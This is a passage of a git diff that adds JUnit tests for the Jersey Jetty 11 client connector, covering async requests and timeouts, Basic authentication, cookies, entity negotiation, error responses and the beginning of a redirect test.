+ * Asynchronous test resource.
+ */
+ @Path(PATH)
+ public static class AsyncResource {
+ /**
+ * Typical long-running operation duration.
+ */
+ public static final long OPERATION_DURATION = 1000;
+
+ /**
+ * Long-running asynchronous post.
+ *
+ * @param asyncResponse async response.
+ * @param id post request id (received as request payload).
+ */
+ @POST
+ public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) {
+ LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName());
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep()
+ try {
+ Thread.sleep(OPERATION_DURATION);
+ return "DONE-" + id;
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ return "INTERRUPTED-" + id;
+ } finally {
+ LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName());
+ }
+ }
+ }, "async-post-runner-" + id).start();
+ }
+
+ /**
+ * Long-running async get request that times out.
+ *
+ * @param asyncResponse async response.
+ */
+ @GET
+ @Path("timeout")
+ public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+ LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName());
+ asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+ @Override
+ public void handleTimeout(AsyncResponse asyncResponse) {
+ asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
+ .entity("Operation time out.").build());
+ }
+ });
+ asyncResponse.setTimeout(1, TimeUnit.SECONDS);
+ asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
+ .entity("Operation time out.").build());
+
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // very expensive operation that typically finishes within 1 second but can take up to 5 seconds,
+ // simulated using sleep()
+ try {
+ Thread.sleep(5 * OPERATION_DURATION);
+ return "DONE";
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ return "INTERRUPTED";
+ } finally {
+ LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName());
+ }
+ }
+ }).start();
+ }
+
+ }
+
+ @Override
+ protected Application configure() {
+ return new ResourceConfig(AsyncResource.class)
+ .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ // TODO: fails with true on request - should be fixed by resolving JERSEY-2273
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY));
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ /**
+ * Test asynchronous POST.
+ *
+ * Send 3 async POST requests and wait to receive the responses. Check the response content and
+ * assert that the operation did not take more than twice as long as a single long operation duration
+ * (this ensures async request execution).
+ *
+ * @throws Exception in case of a test error.
+ */
+ @Test
+ public void testAsyncPost() throws Exception {
+ final long tic = System.currentTimeMillis();
+
+ // Submit requests asynchronously.
+ final Future rf1 = target(PATH).request().async().post(Entity.text("1"));
+ final Future rf2 = target(PATH).request().async().post(Entity.text("2"));
+ final Future rf3 = target(PATH).request().async().post(Entity.text("3"));
+ // get() waits for the response
+ final String r1 = rf1.get().readEntity(String.class);
+ final String r2 = rf2.get().readEntity(String.class);
+ final String r3 = rf3.get().readEntity(String.class);
+
+ final long toc = System.currentTimeMillis();
+
+ assertEquals("DONE-1", r1);
+ assertEquals("DONE-2", r2);
+ assertEquals("DONE-3", r3);
+
+ assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION));
+ }
+
+ /**
+ * Test accessing an operation that times out on the server.
+ *
+ * @throws Exception in case of a test error.
+ */
+ @Test
+ public void testAsyncGetWithTimeout() throws Exception {
+ final Future responseFuture = target(PATH).path("timeout").request().async().get();
+ // Request is being processed asynchronously.
+ final Response response = responseFuture.get();
+
+ // get() waits for the response
+ assertEquals(503, response.getStatus());
+ assertEquals("Operation time out.", response.readEntity(String.class));
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java
new file mode 100644
index 00000000000..be077c9b5e0
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class AuthFilterTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName());
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ @Test
+ public void testAuthGetWithClientFilter() {
+ client().register(HttpAuthenticationFeature.basic("name", "password"));
+ Response response = target("test/filter").request().get();
+ assertEquals("GET", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testAuthPostWithClientFilter() {
+ client().register(HttpAuthenticationFeature.basic("name", "password"));
+ Response response = target("test/filter").request().post(Entity.text("POST"));
+ assertEquals("POST", response.readEntity(String.class));
+ }
+
+
+ @Test
+ public void testAuthDeleteWithClientFilter() {
+ client().register(HttpAuthenticationFeature.basic("name", "password"));
+ Response response = target("test/filter").request().delete();
+ assertEquals(204, response.getStatus());
+ }
+
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
new file mode 100644
index 00000000000..27ca10a1986
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
@@ -0,0 +1,197 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+
+import jakarta.inject.Singleton;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.eclipse.jetty.client.util.BasicAuthentication;
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class AuthTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName());
+ private static final String PATH = "test";
+
+ @Path("/test")
+ @Singleton
+ public static class AuthResource {
+
+ int requestCount = 0;
+
+ @GET
+ public String get(@Context HttpHeaders h) {
+ requestCount++;
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ assertEquals(1, requestCount);
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ } else {
+ assertTrue(requestCount > 1);
+ }
+
+ return "GET";
+ }
+
+ @GET
+ @Path("filter")
+ public String getFilter(@Context HttpHeaders h) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+
+ return "GET";
+ }
+
+ @POST
+ public String post(@Context HttpHeaders h, String e) {
+ requestCount++;
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ assertEquals(1, requestCount);
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ } else {
+ assertTrue(requestCount > 1);
+ }
+
+ return e;
+ }
+
+ @POST
+ @Path("filter")
+ public String postFilter(@Context HttpHeaders h, String e) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+
+ return e;
+ }
+
+ @DELETE
+ public void delete(@Context HttpHeaders h) {
+ requestCount++;
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ assertEquals(1, requestCount);
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ } else {
+ assertTrue(requestCount > 1);
+ }
+ }
+
+ @DELETE
+ @Path("filter")
+ public void deleteFilter(@Context HttpHeaders h) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+ }
+
+ @DELETE
+ @Path("filter/withEntity")
+ public String deleteFilterWithEntity(@Context HttpHeaders h, String e) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+
+ return e;
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(AuthResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Test
+ public void testAuthGet() {
+ ClientConfig config = new ClientConfig();
+ config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+ new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+ config.connectorProvider(new JettyConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+
+ Response response = client.target(getBaseUri()).path(PATH).request().get();
+ assertEquals("GET", response.readEntity(String.class));
+ client.close();
+ }
+
+ @Test
+ public void testAuthPost() {
+ ClientConfig config = new ClientConfig();
+ config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+ new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+ config.connectorProvider(new JettyConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+
+ Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST"));
+ assertEquals("POST", response.readEntity(String.class));
+ client.close();
+ }
+
+ @Test
+ public void testAuthDelete() {
+ ClientConfig config = new ClientConfig();
+ config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+ new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+ config.connectorProvider(new JettyConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+
+ Response response = client.target(getBaseUri()).path(PATH).request().delete();
+ assertEquals(response.getStatus(), 204);
+ client.close();
+ }
+
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
new file mode 100644
index 00000000000..7534d3d63c8
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.Cookie;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.NewCookie;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.JerseyClient;
+import org.glassfish.jersey.client.JerseyClientBuilder;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class CookieTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName());
+
+ @Path("/")
+ public static class CookieResource {
+ @GET
+ public Response get(@Context HttpHeaders h) {
+ Cookie c = h.getCookies().get("name");
+ String e = (c == null) ? "NO-COOKIE" : c.getValue();
+ return Response.ok(e)
+ .cookie(new NewCookie("name", "value")).build();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(CookieResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Test
+ public void testCookieResource() {
+ ClientConfig config = new ClientConfig();
+ config.connectorProvider(new JettyConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+ WebTarget r = client.target(getBaseUri());
+
+
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+ assertEquals("value", r.request().get(String.class));
+ client.close();
+ }
+
+ @Test
+ public void testDisabledCookies() {
+ ClientConfig cc = new ClientConfig();
+ cc.property(JettyClientProperties.DISABLE_COOKIES, true);
+ cc.connectorProvider(new JettyConnectorProvider());
+ JerseyClient client = JerseyClientBuilder.createClient(cc);
+ WebTarget r = client.target(getBaseUri());
+
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+
+ final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector();
+ if (connector.getCookieStore() != null) {
+ assertTrue(connector.getCookieStore().getCookies().isEmpty());
+ } else {
+ assertNull(connector.getCookieStore());
+ }
+ client.close();
+ }
+
+ @Test
+ public void testCookies() {
+ ClientConfig cc = new ClientConfig();
+ cc.connectorProvider(new JettyConnectorProvider());
+ JerseyClient client = JerseyClientBuilder.createClient(cc);
+ WebTarget r = client.target(getBaseUri());
+
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+ assertEquals("value", r.request().get(String.class));
+
+ final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector();
+ assertNotNull(connector.getCookieStore().getCookies());
+ assertEquals(1, connector.getCookieStore().getCookies().size());
+ assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue());
+ client.close();
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java
new file mode 100644
index 00000000000..48f51a17b03
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.io.IOException;
+
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.ContainerResponseContext;
+import jakarta.ws.rs.container.ContainerResponseFilter;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Custom logging filter.
+ *
+ * @author Santiago Pericas-Geertsen (santiago.pericasgeertsen at oracle.com)
+ */
+public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter,
+ ClientRequestFilter, ClientResponseFilter {
+
+ static int preFilterCalled = 0;
+ static int postFilterCalled = 0;
+
+ @Override
+ public void filter(ClientRequestContext context) throws IOException {
+ System.out.println("CustomLoggingFilter.preFilter called");
+ assertEquals("bar", context.getConfiguration().getProperty("foo"));
+ preFilterCalled++;
+ }
+
+ @Override
+ public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException {
+ System.out.println("CustomLoggingFilter.postFilter called");
+ assertEquals("bar", context.getConfiguration().getProperty("foo"));
+ postFilterCalled++;
+ }
+
+ @Override
+ public void filter(ContainerRequestContext context) throws IOException {
+ System.out.println("CustomLoggingFilter.preFilter called");
+ assertEquals("bar", context.getProperty("foo"));
+ preFilterCalled++;
+ }
+
+ @Override
+ public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException {
+ System.out.println("CustomLoggingFilter.postFilter called");
+ assertEquals("bar", context.getProperty("foo"));
+ postFilterCalled++;
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java
new file mode 100644
index 00000000000..22f50d3942a
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import jakarta.xml.bind.annotation.XmlRootElement;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+// import org.glassfish.jersey.jackson.JacksonFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Tests the Http content negotiation.
+ *
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class EntityTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+ private static final String PATH = "test";
+
+ @Path("/test")
+ public static class EntityResource {
+
+ @GET
+ public Person get() {
+ return new Person("John", "Doe");
+ }
+
+ @POST
+ public Person post(Person entity) {
+ return entity;
+ }
+
+ }
+
+ @XmlRootElement
+ public static class Person {
+
+ private String firstName;
+ private String lastName;
+
+ public Person() {
+ }
+
+ public Person(String firstName, String lastName) {
+ this.firstName = firstName;
+ this.lastName = lastName;
+ }
+
+ public String getFirstName() {
+ return firstName;
+ }
+
+ public void setFirstName(String firstName) {
+ this.firstName = firstName;
+ }
+
+ public String getLastName() {
+ return lastName;
+ }
+
+ public void setLastName(String lastName) {
+ this.lastName = lastName;
+ }
+
+ @Override
+ public String toString() {
+ return firstName + " " + lastName;
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(EntityResource.class/*, JacksonFeature.class*/);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ //.register(/*JacksonFeature.class*/);
+ }
+
+ @Test
+ public void testGet() {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get();
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get();
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+
+ @Test
+ public void testGetAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get();
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get();
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe")));
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe")));
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+
+ @Test
+ public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async()
+ .post(Entity.xml(new Person("John", "Doe"))).get();
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe")))
+ .get();
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java
new file mode 100644
index 00000000000..a85cbc578e8
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.ClientErrorException;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class ErrorTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName());
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(ErrorResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+
+ @Path("/test")
+ public static class ErrorResource {
+ @POST
+ public Response post(String entity) {
+ return Response.serverError().build();
+ }
+
+ @Path("entity")
+ @POST
+ public Response postWithEntity(String entity) {
+ return Response.serverError().entity("error").build();
+ }
+ }
+
+ @Test
+ public void testPostError() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ }
+ }
+ }
+
+ @Test
+ public void testPostErrorWithEntity() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ String s = ex.getResponse().readEntity(String.class);
+ assertEquals("error", s);
+ }
+ }
+ }
+
+ @Test
+ public void testPostErrorAsync() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().async().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ }
+ }
+ }
+
+ @Test
+ public void testPostErrorWithEntityAsync() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().async().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ String s = ex.getResponse().readEntity(String.class);
+ assertEquals("error", s);
+ }
+ }
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java
new file mode 100644
index 00000000000..d1a91cd0db5
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.io.IOException;
+import java.net.URI;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
